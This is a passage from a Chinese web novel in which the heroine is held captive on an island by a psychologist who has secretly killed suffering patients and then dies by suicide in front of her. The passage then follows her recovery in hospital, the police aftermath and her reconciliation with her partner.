“方才我们在山脚下救了一对母子,也是被陈成绑来的。据说差点被这混蛋宰了,但是危急时刻有人从后制住了绑匪,她们才趁乱跑了出来。只是由于害怕,那位女士并没有看清楚那位义士究竟是谁...另外,我们在屋子里到处都找过了,目前还没有发现白绯的踪迹...”
大家都很奇怪,绑匪死了,白绯能去哪里?
祝临川的目光疯狂地在房间里各处能藏人的角落逡巡,最后落在了墙角那一排排锈迹斑斑的尸体冷藏柜之上。
在其中一口柜门的缝隙处,一缕粘稠的、暗红色的液体正缓慢地向外流淌,已经在地上积蓄了一小摊,反射着他们手上手电筒冰冷的光。
那一刻,祝临川感觉全身的血液都凉透了。
他踉跄着扑了上去,抓住冰冷的门闩,猛地向上一掰!
柜门打开,祝临川抓住冰冷的把手,用尽全身力气,将里面沉重的活动板床猛地拉了出来。
一张糊满鲜血的青紫脸庞出现在眼前。
竟然是罗峻辉。
身后的小刘发出一声尖锐的爆鸣:“快来人!这他妈还有一个!快看看还有没有气!”
祝临川茫然地站在原地,耳朵里嗡嗡作响。
他看着警察动作迅速地将罗峻辉抬了出去,心里却只剩下恐惧和绝望。
白绯呢?
此刻的白绯正躺在一张陌生的床上。
好在身下的触感柔软舒适,看来这次的绑匪颇具人道主义,不像陈成那样喜欢虐待人质。
眼皮像灌了铅似的,白绯费了好大的力气才掀开一条缝。首先映入眼帘的是木制屋顶,鼻端萦绕着海风的咸湿气味,耳边有清脆的风铃声。
白绯猛地坐起来,却又在一阵头晕目眩中摔回了床上。她龇牙咧嘴地抬手去揉太阳穴,这才发现手上的伤被妥善地处理过,就连额角也贴着纱布。
她疑惑地再次坐起来想要下床,脚踝处却传来冰凉的触感。白绯低头一看,这才发现脚踝处绑着一条细长又坚固的冰冷锁链,另一头正牢牢绑在屋子中央的金属立柱上。
诡异,实在是太诡异了。
白绯轻轻摸了摸脚踝内的柔软垫圈,这应该也是那位绑匪先生准备的,大概是怕她的脚踝被摩伤。
她疑惑地抬头四顾。这是一间很大的屋子,陈设出乎意料的温馨。木制餐桌和沙发,柔软的地毯,甚至还有一个摆满了书的大书架。
最引人注目的是眼前那扇敞开的巨大的窗户,上面挂着一串叮咚作响的贝壳风铃,白色的纱帘正在随风飘荡。
白绯果断下床直扑向窗边。窗外是一望无垠的海面,海浪声规律地拍打着沙滩,视线所及范围内没有任何人类活动的迹象。
她试图直接从窗户爬出去,然而果然,锁链的长度只够她走到窗边。
她不死心,又拖着锁链走向房间里唯一的门,然后再次停留在离门一臂远之处。
果然,虽然这位绑匪先生看着人畜无害,但显然并不打算轻易放她离开。
白绯又开始在屋子里乱转,试图找出能砸断锁链的东西
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。然而显然,所有的物件都被精心挑选过,以防止她弄伤自己或者砸断锁链。
她有些垂头丧气地站在房间内的浴室内,看着镜子里自己失望的脸。
爸妈一定急坏了吧?还有临川...白绯想起小楼,眼神再度坚定起来。
上一世她被父母抛弃后在人世间孑然一身,然而如今却被爱包围。她十分珍惜现在的生活,绝对不会让人生就这样莫名其妙终结。
就在她鼓起勇气,再次在房间里转悠着寻找武器的时候,门外传来了清晰的脚步声,以及密码锁输入的声音。
白绯立刻噔噔往后退了几步,背靠着墙壁,警惕地盯着那扇即将开启的门。
伴随着“吱呀”一声轻响,门开了。一个腋下夹着画框,手中端着托盘的高大身影逆着光走了进来。
“叙白?!怎么是你!”
当那人的面容清晰地映入白绯的眼帘时,她瞬间瞪大了眼睛,一股被欺骗的怒火迅速窜起。
叙白看着比之前更瘦了些,神情也有些恹恹的。他像是根本没发现白绯脸上的愤怒般,将托盘放到了餐桌上。
“伤口还疼吗?一定饿了吧,过来吃点东西。”
白绯被他这副温和平静的模样气得想笑。她瞪着叙白几秒,然后果断上前,气鼓鼓地坐在餐桌前,开始舀碗里的粥喝。
粥炖得很软糯,里面还放了鲜甜的鱼片,温度适宜很好入口。白绯喝了几口后又从小碟子里夹了一小片腌黄瓜,放进嘴里慢慢咀嚼。
叙白毫无戒心地背对着她,正在把方才拿来的画往书架上放。
白绯嘎吱嘎吱咬着勺子看,这才发现这画颇为眼熟。那趴伏在花丛中的赤裸女人,不就是上次叙白在周端画展上展出的画吗?
一想到那上面的主角是自己,白绯就感觉浑身恶寒。
她低头抖了抖脚踝,锁链跟着她的动作叮当作响:“什么时候放我走。”
叙白摆正画框,回头咳嗽了一声,脸上依然带着温和的笑:“恐怕,暂时不行。”
“啧~”白绯有些不耐烦地用勺子当当敲碗,“这是哪里?把我绑这儿干什么?哼...亏我还好心帮你...”
叙白自然没有回答,只是坐在沙发边,手撑着下巴,就这么含笑直勾勾地看着白绯。
白绯被他这诡异的模样吓到,不由又回忆起往事,撇了撇嘴不再说话,生怕又把这位爷刺激到,干出什么离经叛道的事来。
日子就在这种诡异的平静中一天天过去。叙白每天准时送来三餐,随着白绯伤口逐渐愈合,餐食也愈加丰盛,都是很有海岛风情的海鲜大餐。
除此以外的时间,他都坐在小屋里,也不说什么,只是沉默地看她,眼神复杂难辨,里面翻滚着白绯看不懂的情绪。
天气好的时候,叙白还会带她出去放风,只是锁链的另一端却绑在他的手上。先遑论没有交通和通讯设备,白绯要如何逃离这个海上孤岛,单是想要离开叙白身边都做不到,除非砍了叙白的胳膊。
好在叙白并没有做什么出格的事情,也没有趁着把人关小黑屋就动手动脚。
白绯有些奇怪地看了眼坐在窗边若有所思的叙白,他最近的脸色越来越苍白,原本风流倜傥的衣冠禽兽,硬是瘦出了破碎感。
难道是生病了?
白绯看着他的模样,恍然间就想起了林柔。这个猜测让她戒备的态度中不由又掺杂了一丝难以言喻的复杂感受。
叙白注意到她的视线,把茶几上的红酒杯往她身前递了递:“今晚,陪我喝一点吧。”
90. 放着我来!
来了!
女人的第六感在疯狂咆哮,告诉白绯今晚绝对不同于以往任何一天。
她戒备地盯着眼前酒杯中晃荡的酒液,蜷在沙发上沉默以对,一反之前没心没肺吃吃喝喝的模样。
叙白看她警惕的模样,轻笑了一声:“怎么不喝,是怕我下毒吗?”
他端起酒杯率先抿了一口,紧接着就撕心裂肺地咳嗽起来。
白绯并不中这激将法,根本没有碰酒杯的意思。
她看着叙白从口袋里掏出块手帕,捂在嘴前。待呼吸好不容易平复后,叙白就盯着手帕发起呆来。
白绯眼尖地在帕角看到了血迹。
叙白放下手帕,目光投向窗外。
此时正值黄昏,火红的夕阳下,整片海都像是在燃烧,光芒透过窗户洒进小屋,将叙白苍白的脸色也染上了一层暖色。
“你看这片海,多美。”叙白开口,声音沙哑,语气中带着向往,“传说中,凤凰会在火焰中燃尽自己,然后获得重生...可惜,人类除了死亡那一刻能得到片刻绚烂,之后毫无例外都只能变成一块难看的肉。”
白绯双手卷着脚踝上的锁链把玩,开口的声音平静,却带着坚定:“死亡不应该是被向往的,叙白。”
她像是看穿了叙白的想法,颇有些苦口婆心地劝道:“正因为死亡不可避免,所以我们才更应该珍惜生命。好好吃饭,好好睡觉,好好爱值得爱的人,才是对死亡最大的敬意,而不是提前奔向它。”
叙白静静地听着,夕阳在他的眼眸里跳动,像燃着一把孤注一掷的火:“充满苦难的生命,还有必要珍视吗?白绯,你见过那么多的死亡,有没有哪一个人,她选择结束的时候,连你都觉得对她而言是一种解脱?”
白绯哽了哽。
她想起了蜷缩在洗手台下上吊自杀的女孩,但凡她有一丝一毫活下去的欲望就能站起来自救,却硬生生在那方寸之地结束了作为母亲和弟弟血包的短暂一生;想起了死在报案回家路上的贫困女孩,她被骗走的区区几千块却是全家东拼西凑舍下面子才好不容易凑齐的大学学费;想起了在路上摔得头破血流却拒绝去医院,独自回到出租屋静静等死的外卖小哥...
叙白在白绯的沉默中继续追问,眼中带着审视:“这世界上有太多人,原本也不过是苟延残喘地活着,呼吸着的每一秒都是折磨。你认为,他们真的有必要继续那种痛苦的人生吗?”
小屋内的空气仿佛凝固了,连海浪声也变得遥远。
“所以,你认为没有必要对吗?程莉莎,还有很多像她那样的病人,是你促成了他们的解脱?”
白绯的心微微一沉,她迎上叙白的目光,终于直接挑明了这个盘旋在她心头已久的猜测。
这一次,叙白没有回避,也没有沉默。
他轻轻点了点头,眼神里带着一种想当然的残忍:“是,我只是不想看他们再痛苦下去,所以帮了他们一把。这难道不也是一种慈悲吗?”
白绯没想到他真做了,一股寒意从后背窜起,但更多的则是愤怒和悲哀:“慈悲?不,叙白,这是谋杀!你没有权力替任何人做出选择,生命的选择权,从来只属于他们自己!”
叙白显然没有被轻易说服,他甚至轻轻笑了一下,带着点怜悯的意味,看着白绯就像在看一个不懂事的孩子。
“选择权?”他重复着这个词,语调轻柔却充满质疑,“白绯,当活着成为折磨时,选择本身就是最残忍的刑罚。人为什么一定要死死抓着腐朽的皮囊,承受无意义的痛楚?干脆利落地结束有什么不好?”
他疲惫地靠在椅背上,声音低沉下来:“你是活在幸福中的孩子,你不懂,这是我们梦寐以求的解脱。”
白绯猛地站了起来,脚踝上的锁链因为这突兀地动作发出刺耳的撞击声。她想起自己身为孤儿的前半生,想起那些在黑夜中无声落下的泪。
她的胸膛剧烈起伏,声音带着颤抖:“是,我不懂。我只是觉得愤怒!觉得悲伤!”
“我愤怒!愤怒为什么没有人拉那个年轻女孩一把,帮她从那段吸血的原生家庭关系里解脱出来!愤怒她为什么不能再狠心一点,斩断那些虚伪的亲缘枷锁!”
“我愤怒为什么作恶的人逍遥法外,正义来得那么迟!我愤怒社会的贫富差距为什么如此巨大,让人连活下去的尊严都难以维持!”
白绯的眼中逐渐泛起泪花,声音颤抖,却充满了不容置疑的力量:“我悲伤,悲伤为什么现代的医疗科技还没能攻克所有的疾病,为什么人类还要承受疾病苦痛!悲伤为什么社会福利体系为什么还不够完善,不能让每个陷入绝境的人都能有尊严地寻求帮助。”
她死死地盯着叙白,眼睛里却燃烧着属于生命最原始力量的火焰:“我们还有太多的事情没有做,太多的问题需要去解决!无论是拯救自己于水火,还是伸出手帮助他人渡过难关,前提都是活着。只有活着才有希望,才有改变的可能。如果他们累了,倦了,暂时看不到希望,没有勇气面对了..."
白绯的声音柔软下来:“那就让我来,让我来替他们愤怒,替他们悲伤,替他们去追问,替他们去争取!无论摆在我面前的是什么困难,我都会活下去,想办法跨越它!因为这就是活着!这就是生命本身的重量和意义!”
话音落下,小屋内一片死寂。白绯的呼吸仍有些急促,然而她站在那里,身上却像是有光。
叙白定定地看着她,突然猛地起身,一把将白绯死死地搂进了怀里。
这拥抱没有任何狎昵的意味,反而更像是一个行走在冰天雪地里即将冻死的人,不顾一切地扑向唯一的热源。他用尽了全身的力气,手臂箍得白绯生疼,将她牢牢嵌进自己的胸膛。
白绯愣住,还不待她有所反应,就听到耳边传来叙白急促而滚烫的呼吸,以及带着剧烈颤抖的恳求:“白绯,求求你…陪着我..."
他的声音破碎不堪,饱含痛苦:“我这辈子,已经走错了...但只要你在,只要有你陪着,我就有勇气重新来过..."
白绯犹记得初遇时,叙白桀骜潇洒的模样,不禁心中也有些恻然。
她不再挣扎,反而抬起手,像母亲安抚孩子般轻轻摸了摸叙白的脑袋,承诺道:“我会陪着你的
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,叙白。你别怕...我,还有王阿婆,我们都会陪着你。犯错不可怕,只要我们有勇气知错就改,一切都还来得及。”
白绯放低声音,循循善诱道:“你是不是生病了?你一直把我关在这里,是不是也没有按时去接受治疗?我们离开这里吧,我陪你回去,找最好的医生,好好治病。一切都会好起来的,相信我..."
然而,她的话音未落,叙白却突然松开了她。
他后退半步,不知从哪儿摸出了一把刀。
白绯下意识后退了半步,惊得浑身汗毛倒竖:“叙白?!你拿刀做什么?!”
叙白脸上是近乎诡异的平静,却也没有伤害白绯,只是调转刀柄,将刀递给了她。
“白绯,回不去了。”他近乎蛊惑地伸手握住白绯的手,帮她握紧了刀,然后缓缓上移,对准了自己的胸口,“我不要像一块烂肉一样,躺在病床上,毫无尊严地慢慢腐烂、死去。白绯,你不一样,你是火焰,帮我,像解决陈成一样解决我,给我一个干净利落的结束。”
白绯没想到自己费了一番口舌,叙白却还是这么疯。陈成是罪无可恕,白绯当时动手没有任何心理负担。然而叙白到底罪不至死,白绯实在下不了手。
“叙白,你不要这样..."
白绯的大脑疯狂运转,企图让叙白改变主意。结果没想到,叙白看到她拒绝,脸上却突然扯出一个惨淡的笑容。
“你不要怕我孤单...反正,你很快也会来陪我的。”
白绯一怔。
叙白眼神幽幽地看着她:“这些天给你吃的食物里,我都下了药。算算分量,你的时间也不多了。所以...”
他再次握住白绯的手,将刀刃对准自己:“难道你不想在此之前,杀了我报复吗?”
仿佛是为了印证他的话,一阵强烈的晕眩感猛地袭向白绯,她眼前开始模糊,双腿一软,几乎站立不住。
白绯简直在心里骂娘,她用尽全身的力气,最后狠狠甩了叙白一耳光。随后,就瘫倒在了沙发上。
“罢了。”白绯自嘲地笑笑,握着刀的手垂落下来,另一只手搭在自己眼前,不再说话。
显然到了这个地步,她也没有对叙白动杀心。
就在白绯的意识即将被黑暗吞没的瞬间,叙白忽然上前一步,一手捧住她后仰的脸,深深地吻了上去。
与此同时,他握住白绯那只垂落的手,牵引着它,然后猛地一倾...
一声极轻的,利刃没入血肉的闷响。
温热粘稠的液体涌出,白绯惊讶地看着叙白,却只在他眼中看到近乎虚无的温柔和满足。
鲜血顺着他苍白的下颌滴落,溅在白绯惊惶的脸上,温热而刺目。
白绯有种错觉,仿佛在叙白眼中看到了眷恋和慰藉。
“你脸上沾着血的模样,果然和我想象的一样美...”叙白抬起手,温柔地替白绯理了理额前散乱的头发,动作轻柔得像对待稀世珍宝,“白绯...你会记住我吗?”
然而,叙白终究没能得到回答。因为白绯的意识已经彻底陷入了无尽的黑暗。
91. 回家
白绯觉得喘不过气。有一股灼热的气息裹挟着她,沉甸甸地压在胸口。
浓重的血腥味传来,喉间喷血的陈成笑容满面地站在焚化炉前,热情地邀请白绯进炉体验:“白总,诚挚邀请您体验全市99.99%的人都没见过的传世名炉,保证您一炉升天,灰飞烟灭。”
白绯目瞪口呆地看着炉膛里燃烧得正旺的橘红色火舌,连连摆手,却还是被热情的陈成推着后背不容拒绝地塞了进去:“您别客气,咱们这炉用过后还没顾客说不好的,十年间好评率可是百分百..."
白绯拼命挣扎,却不知为何动弹不得。
陈成笑容爽朗,一把将人提起扔进了敞开的炉口中。
炙热的气流瞬间包裹住了白绯整个身体,而在熊熊烈焰的中心,另一个熟悉的身影正缓缓转过身来。
叙白心口仍插着那把匕首,鲜血淋漓而下。然而他却像是毫无痛觉般,手里拎着一把巨大的、沉甸甸的铁锤,对着白绯笑得温柔:“大锤八十,小锤四十。”
火焰随着他的话音窜高,疯狂灼烧着白绯的皮肤。
好热,越来越热,仿佛就连血液都要沸腾蒸发。
就在白绯感觉自己真的要被燃烧成一把枯骨,再由叙白一锤锤砸成骨灰的时候,她终于从噩梦中惊醒。
胸口沉甸甸的,鼻端萦绕着熟悉的白茶花香气,驱散了梦里的血腥和焦糊味。
白绯涣散的目光逐渐聚焦,狂跳的心脏一点点回落。她抬手抚上胸口的热源,触手是柔软的发丝。
“我不是死了吗?”白绯指尖轻轻抓了抓胸口的头发,触感毛茸茸的,梦呓般喃喃道:“临川...我是在做梦吗?”
压在她身上的重量猛地一轻。
下一秒,一张熟悉又陌生的脸映入眼帘。
祝临川瘦了很多,下颌布满青黑的胡茬,眼睛里都是红血丝,里面翻涌着剧烈的情绪——那是失而复得的狂喜以及难以言喻的后怕与心疼。
“绯绯,你终于醒了。有哪里不舒服吗?头还疼吗?手呢?”
祝临川焦急又轻柔地抚摸着白绯的伤处,在得到否定的回答后,整个人都开始无法抑制地颤抖。
他猛地俯身,温热的额头紧紧贴上白绯颈间跳动的脉搏,声音破碎不堪:“我还以为...再也见不到你了。"
别说祝临川这么以为,就连白绯也以为自己这个号要废了。
“所以你是说,我只是被喂了安眠药?”
白绯靠坐在病床上,手里拿着一块切好的苹果,不可置信看着方瑜。
方瑜坐在沙发椅上,唾沫横飞地给白绯解释她昏睡后发生的事情。
“那个变态心理医生用自己的手机,给临川发了条定位信息,就是你们当时在的那个海外孤岛。可是那地方实在太偏了,普通航线根本没法立刻过去。幸好卿卿家里有私人飞机,二话不说,动用所有关系,加急申请了航线,才用最快的速度飞了过去。”
方瑜回忆起当时的情况,语气里也有点后怕:“你是不知道,我们紧赶慢赶,结果才推开门,就看到你和那变态依偎着躺在血泊里,那场景,啧啧啧…”
方瑜说着偏头觑了眼浴室阖上的门,语气酸溜溜的:“哼,这个混蛋对你确实有心。你是不知道他当时那脸色,我都怕他直接拔出变态心口那把匕首,然后给自己也来上一刀。幸好,随机过去的医生立刻做了初步检查,说你生命体征平稳,应该没有大碍,我们才冷静下来。后来,我们就赶紧把你送医院来了,最后得出的结论是除了额头和手上的旧伤外并没有什么不适,昏睡只是因为服用了安眠药。”
白绯愣住,她没想到叙白竟然骗了她。她当时是真的以为叙白要拉她下去陪葬。
白绯垂下眼眸,盯着手里的苹果发起呆来。
沉默间,“嘎吱”一声轻响,浴室的门打开祝临川带着未干的水汽走了出来。
他刮了胡子,整个人相比之前颓丧萎靡的样子精神了很多。
方瑜皱着眉看他又跟个蘑菇似的长在了白绯病床边,没忍住吐槽道:“我说,你也去歇歇,都几天没合眼了?没听见医生说你再不休息,该住院的就是你了?放心吧,卿卿家的医院安保条件好得很,门口的保安个个都是退伍兵,可不是普通小区的保安老大爷,保证连只苍蝇都飞不进来,你就放宽心吧。”
白绯打量着这间豪华病床,也不由地发出了土包子的感叹。她刚才已经注意到了,这里连纸巾盒和垃圾桶都是驴牌的。
“这次多谢卿卿了,等我出院了一定登门致谢。”白绯郑重对方瑜道。
方瑜不以为意地摆摆手:“嗐,整那客气的做什么,都是朋友。再说了,卿卿现在正在迪拜陪她爸呢,还不知道什么时候能回来。”
白绯看着方瑜这副和柳卿卿十分熟稔的模样,敏锐地察觉到什么。
看来,柳卿卿这是即将拿下芳心了啊。
白绯笑了笑,没有多说什么。方瑜理解祝临川和白绯刚刚经历生死离别,定然有很多话想说,识趣地离开,把房间留给他们独处。
待门关上后,白绯心疼地看着祝临川,安抚地摸了摸他的脸颊:“我没事了,你也回家歇会儿?”
“我不累,就在这边沙发上躺会儿就行。”祝临川却摇摇头,无论如何都不愿意离开。
这里的沙发床其实很宽敞,但架不住祝临川个子实在太高,躺在上面依然有些束手束脚。而且祝临川也不知是不是被吓怕了,深邃的目光始终追随着白绯的身影。
白绯被他看得心头发软,又泛着细密的疼。
她索性起身过去,在祝临川床边坐下,伸出温热的手,轻轻覆盖在他的眼睛上:“老看着我做什么,闭眼。”
掌下,长而密的睫毛不住地抖动,刷过白绯的掌心,带来细微的痒意。
黑暗中,祝临川的唇极轻地弯了一下。他抬手,滚烫的掌心准确无误地握住了白绯覆在他眼上的手腕。
他将白绯的手拉下来,带到唇边,郑重地印上一个温热而柔软的吻。
白绯的手指忍不住颤了颤。
祝临川并未放开,而是顺势又将她的手贴在自己的脸颊上,依恋地轻轻磨蹭着她的掌心。他闭上眼,深吸了一口气,嗓音低沉沙哑,带着失而复得的后怕:“我想一直看着你。”
酸涩与甜蜜交织着涌上来,白绯低下身,侧躺下去,依偎进他怀里,脸颊贴在祝临川的胸口,听他胸腔里有力却急促的心跳。
“我很想你。”她小声说着,手指轻轻揪着祝临川的衣襟,连声音都闷在他的衣服里:“想着,要是我回不来了,我家可怜的小童工该怎么办?”
她抬起头,望进祝临川深不见底的眼眸,认真道:“所以
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我告诉自己,无论如何,一定要活着回来见你。”
祝临川的手臂收紧,将白绯更深地圈进自己的怀里,下颌轻轻抵着她的发顶。彼此身上白茶花的香气交融,悬空了太久的心才真正落回实处。
自从他搬进小楼,在超市购买沐浴露时就下意识地选择了在白绯浴室里见过的那款白茶花。也许早在小院初见,那个慵懒躺在躺椅上,笑得调皮又狡黠的人就已经走进了他心里。
二人不再说话,只是彼此靠近,从浅尝辄止到渐渐深入。气息交流,温度攀升,病房内的空气仿佛也变得暧昧而粘稠。
就在祝临川的手掌温柔地抚上白绯腰际,吻也逐渐变得更加急切时,一阵电话铃声突然响起,打破了这一室的旖旎。
白绯脸颊绯红,气息微乱。她下意识想从祝临川怀里起来,却被更紧地搂住。
祝临川的唇被吻得红润,然而气质却冷淡禁欲,实在是秀色可餐。只可惜,来电的主人锲而不舍,显然并不知道自己破坏了好事。
“是谁?”白绯勉强按捺住身体里翻涌的情潮,瞥向床头柜上被点亮的手机屏幕。
“是小刘警官。”祝临川用空着的手拿起电话,瞥了眼来电号码后回答。
“啊,是他!”白绯也回忆起了这个年轻的警官。
祝临川点了点头,接通了电话,声音还带着一丝未褪尽的沙哑,但已然沉稳下来:“喂,小刘警官。”
“临川,白绯状况怎么样了?”电话那头响起小刘疲惫的声音,才刚说完就连着打了一串哈欠,听起来比白绯更像快死了。
祝临川看了白绯一眼,直接打开了免提。
“小刘警官,谢谢你,我已经没有大碍了。”白绯侧躺在祝临川怀里,感激道。
“你醒啦!太好了,没事就好。”小刘听到这个好消息也很欣慰,连声音听着都精神了些,“那等你精神好些,再来所里做个笔录。你放心,就是走个流程,证据链都完整,陈成涉及多桩谋杀案,又绑架杀人,你的行为属于正当防卫,并且还拯救了顾怜心母子,改天还得给你颁个锦旗。不过,你最近还是注意些,罗峻辉家属今天又去你家闹了,我同事刚把她劝离,但是你懂的,这种法抗大妈,我们也不好来硬的,实在不行要不你还是先在外头躲一躲...哦,还有,叙白留下了遗书,说明是自杀,但他父母看着不像是好相与的...若是他们找你麻烦,只管打我电话。”
小刘不放心,又叮嘱道:“经过这回事件,该去看看心理医生还是要去看看,到底是普通人,别落下什么后遗...额...”
小刘说着说着突然卡住,显然也想到了那个绑架并囚禁白绯就是个心理医生,生怕又把白绯整应激了,一时愣住不知如何是好。
好在白绯听起来情绪十分稳定,至少比他这个加班牛马看起来稳定多了:“好的,我知道了,谢谢你小刘警官。”
该交代的交代完了,小刘就挂了电话继续去忙了。
白绯挂断电话,问道:“爸妈他们还好吗?还有王阿婆他们?”
祝临川抚摸着白绯的长发,劝她放宽心:“都好,医院里不让太多人进来,明天我们就能出院,我就劝他们先回去了。”
白绯点了点头,指尖无意识地摩梭着手机熄灭的屏幕,犹豫片刻后还是轻声开口问道:“叙白他...真的死了吗?”
92. 人为什么要长嘴
祝临川搭在白绯后腰的指尖几不可查地蜷了蜷,随即又恢复自然。
“嗯。”他低下头,目光平静地看向垂着头看不清表情的白绯,给出了一个清晰而肯定的答案:“找到你们之后,医生就宣布了他的死亡,我也亲自确认过,没有其他可能了。”
叙白以后再也没办法伤害你,把你从我身边夺走了。
祝临川咽下剩下的话,没有多说。
然而白绯看起来却并没有多高兴,她点了点头,没有再追问其他细节,只是低低嗯了一声,然后重新依偎进祝临川的怀里,闭上了眼睛。
也正因此,她错过了祝临川眼底浓得化不开的郁色和晦暗。
第二天,白绯顺利出院。白父白母亲自在医院门口迎接。
周芸哭得梨花带雨,白叔远发间甚至多了好几根白发。显然这次女儿的失踪,让二老受到了很大的打击。
白绯柔声安抚他们的情绪,又回小楼参加了涕泪横流的王阿婆几人举办的除晦宴。
之后,白绯抽空去派出所做了笔录,也知道了涉事几人的下场。
陈成和罗峻辉已经归西,陆子尧和方肖二人则因参与绑架被收监。陈昊因诈骗罪在飞机场被逮捕,顾怜心则因为举报有功,有望轻判,而她的孩子则暂时由外祖母代为照顾。
据说,顾怜心在得知当初是白绯帮忙拖住了陈成,她们母子二人才得以脱困后十分内疚,特意托小刘警官向白绯带了话。
“她说她很后悔从前掺和进罗家的事,希望你能原谅她。”
白绯没说什么,只是对小刘道:“麻烦你转告她,在里面好好改造。父母是孩子人生的第一个老师,不要再毁了孩子的人生。希望她能早点出狱,和孩子团圆。”
日子仿佛再次回到了正轨,然而到底还是有些地方不一样了。
白绯常常会忽然停下手中的工作,眼神放空,不知想到了什么,又或者想起了谁。偶尔,她也会定定地看着自己的掌心。
之前的擦伤早已愈合,只留下淡淡的瘢痕,提醒着她那段时光。更多的时候,她则会抱着手臂,望着对面那栋已然空置、杂草丛生的别墅。
而祝临川,总是沉默地站在她身后不远处,注视着她的背影,眼底蕴藏着无法言说的风暴。
二人之间这种微妙的气氛,就连钢铁直男如小施都敏锐地察觉到了,嘀嘀咕咕地和安夏吐槽:“她俩是在玩一二三木头人吗?这一坐一站的,得有一下午了吧?”
陈安夏捂着小施无知无畏的嘴,识趣地离闹别扭的小情侣远了一点。
岌岌可危的平衡被打破得猝不及防。
那天上午,白绯正久违地和王阿婆一起打理田地。
之前万众期待的小西瓜长大了,可惜等他们打算摘下来时,才发现靠近地面的那一半,由于连日的降雨,竟是水分过足沤烂了。
王阿婆很是自责,白绯轻轻拍拍她的手背安抚道:“没事,世事本就无常。阿婆,你看看这藤还活着吗?”
王阿婆被她三言两语转移了注意力,拿着镰刀开始清理烂掉的藤蔓:“这几根也烂了,得砍掉,不然整株藤都活不了..."
正说着话呢,小楼门外忽然传来尖利刺耳的咒骂声。祝金花,不知怎么竟又摸了过来,正扒着栏杆跳脚,污言秽语随着她的咆哮飘进了院子。
“贱人!你克死了我的儿子!峻辉,我可怜的孩子啊!该死的是这个贱女人才对啊!白绯!我诅咒你,诅咒你们白家全都不得好死...”
白绯拧眉,偏头看栏杆后那张狰狞的老脸。
若说失去罗雪萍,对祝金花而言不过是无关痛痒,那么失去罗峻辉就是要了她的老命了。她这辈子唯一的追求,也不过是为罗家养大一个男孩,延续所谓的香火。
白绯看着她伸进栏杆里拼命抓挠的手,眉头皱了皱,却并没有太大的反应。
与这样的人争论对错堪比对牛弹琴,左右也不过是言语辱骂,回屋避开就得了。
然而没想到,就在她准备转身回屋的时候,一直坐在大厅门口注视着她的祝临川却一脸阴沉地冲了出来。
白绯被他眸中翻涌的戾气吓了一跳,忙不迭地拉住他的胳膊:“临川?!你这是做什么?!”
祝临川下颌绷得很紧,脸色阴沉得可怕。他年幼时没少在祝金花手下受磋磨,然而这么多年却从来没有回头报复的想法。然而如今,他听着那一句句恶毒的诅咒,却是无论如何都不能再忍。
白绯感受到手下肌肉的紧绷,心下愕然。祝临川向来沉稳内敛,怎么会轻易被这么几句辱骂激怒?看这架势,明显不是准备去理论那么简单。
她放低了声音安抚:“临川!你又不是不知道这老太婆的德性,何必跟她计较?一拳头下去,她倒好,直接归西陪她的好大儿去了,你呢?难道还要白白赔上自己的人生不成?”
好在陈安夏机警,果断拨打了报警电话。而王阿婆也早已一撸袖子,和祝金花开始隔着栏杆对喷。
陈安夏和小施还是第一次看到这种重量级的对喷,瑟瑟发抖地抱住了彼此。
“太强了。”陈安夏捂着自己狂跳的心脏,对着王阿婆比了个大拇指:“像我这种泪失禁体质,还没开始回嘴,自己就先哭抽了。”
小施也心有余悸:“这就是王者的对决吗?幸好王阿婆是我们阵营的啊!”
然而白绯却没有心思去关注那边的骂战,眼看有小施和陈安夏这两个结界兽守着王阿婆,应该出不了什么大乱子,她便果断拉着面色阴沉的祝临川往远走了几步,避免他再受刺激。
直到听不到小院门口的芬芳,白绯才松了口气。
祝临川胸膛剧烈起伏,浑身的戾气挡也挡不住。白绯伸手一下下给他顺着气,仰头安抚道:“冷静,冷静...”
祝临川反手握住白绯扶在他胸口的手掌,另一手遮住自己的眼睛,好一会儿,周身骇人的戾气才慢慢平复,只露在手掌外的唇线依然绷得很紧,抿出一个饱含痛苦的弧度。
“对不起...”祝临川哑声开口,声音里带着浓重的疲惫。
然而白绯并没有打算就这么稀里糊涂揭过。人长嘴除了品尝美食和打啵外,还有一个重要的作用就是沟通。
她握住祝临川的手腕,去追他逃避的视线:“临川,你不是这么冲动的人,你到底怎么了,告诉我好吗?”
祝临川沉默了很久,终于还是缓缓开口了:“绯绯...我真的受不了...受不了任何人那样说你。”
他的眼睛开始充血,像是又想起了那天看到白绯和叙白依偎着躺在血泊里的画面。那双往常总是带着笑意和温柔注视着自己的眼睛在那时却紧紧阖着,让他的头脑一片空白。
所以,在听到祝金花恶毒地诅咒白绯去死的时候,狂暴的愤怒瞬间席卷了全身,让他只想立刻毁灭眼前任何可能威胁白绯安危的东西。
“你回来后,总是心不在焉。我控制不住地想,陈成和叙白关着你的那段时间,你是不是受了很多委屈,是不是受了委屈,却不敢告诉我?”祝临川的声音哽了一下,但好在开了头,他终于得以剖白连日来自己的煎熬,“我恨我自己没有保护好你,才让你遭遇到这样的不幸。我想问你,怕你自己一个
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人在我不知道的地方痛苦地自愈。又怕问了你,反而让你想起那些拼命想忘掉的事。更怕你对我失望,想要,想要离开我...”
白绯的心狠狠一揪。她没想到,这些天自己的恍惚竟都被祝临川看在眼里,还因此被脑补成一个饱受创伤的小可怜。
但同时,她也觉得开心。爱是常觉亏欠,祝临川让她彻底体会到什么叫“含在嘴里怕化了,捧在手里怕摔了”的爱。
“临川,我真的没事。”白绯笑着摇摇头,目光清澈而坦诚地回望着祝临川,语气无比肯定:“陈成那个菜鸡还来不及对我做什么,就被我KO了。叙白...他也没有伤害我,只是把我关在屋子里,每天说些…话。”
白绯微微蹙眉,寻找着恰当的词汇,来表达自己内心最真实的感受:“我走神,是因为第一次杀人,发现原来人也不过如此,并没有什么高贵,就好像我们屠宰牛羊鸡鸭般,那么轻易就能被夺走性命。我不想再有第二次的体验了,但若是为了保护自己,保护他人的性命,我还是不会犹豫。至于叙白...”
白绯叹了口气:“我确实没办法立刻忘记他死在我面前的样子。我对他,有一点怜悯,也有些怒其不争...很复杂,但绝对不是爱。我心里装的是谁,你还不知道吗?我放不下的从来都是你。”
她踮起脚,双手捧住祝临川的脸颊,在他冰凉的唇上印下一个温柔的吻,又吻了吻他紧蹙的眉心:“对不起,是我没察觉到你的不安,让你一个人胡思乱想了这么久。答应我,我们以后不要这样了好不好?”
白绯伸出小拇指,眼睛微弯,笑着去勾祝临川的尾指:“我们拉勾勾,说好了,以后不管发生什么事,我们一定要说出来,不要闷在心里,好吗?”
祝临川的脸有些红,心中懊恼不已。
